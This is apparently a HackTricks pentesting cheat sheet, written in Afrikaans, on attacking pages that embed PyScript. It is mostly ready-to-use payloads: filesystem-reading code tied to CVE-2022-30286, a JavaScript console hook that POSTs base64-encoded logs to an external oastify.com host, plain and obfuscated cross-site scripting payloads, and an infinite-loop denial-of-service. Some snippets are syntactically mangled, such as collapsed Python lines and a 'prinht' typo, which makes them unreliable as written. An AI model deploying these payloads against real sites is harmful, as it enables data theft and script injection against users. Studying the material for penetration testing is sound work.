# Pyscript

{{#include ../../banners/hacktricks-training.md}}

## PyScript Pentesting Gids

PyScript is 'n nuwe raamwerk wat ontwikkel is om Python in HTML te integreer sodat dit saam met HTML gebruik kan word. In hierdie spiekbrief sal jy vind hoe om PyScript vir jou penetrasietoetsdoeleindes te gebruik.

### Dumping / Herwin van lêers uit die Emscripten virtuele geheue lêerstelsel:

`CVE ID: CVE-2022-30286`\
\
Kode:
```html
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)

### [OOB Data Exfiltration van die Emscripten virtuele geheue lêerstelsel (konsole monitering)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)

`CVE ID: CVE-2022-30286`\
\
Code:
```html
<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)

### Cross Site Scripting (Gewone) 

Code:
```python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)

### Cross Site Scripting (Python Obfuscated)

Kode:
```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)

### Cross Site Scripting (JavaScript Obfuscation)

Kode:
```html
<py-script>
prinht("
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)

### DoS-aanval (Oneindige lus)

Kode:
```html
<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)

{{#include ../../banners/hacktricks-training.md}}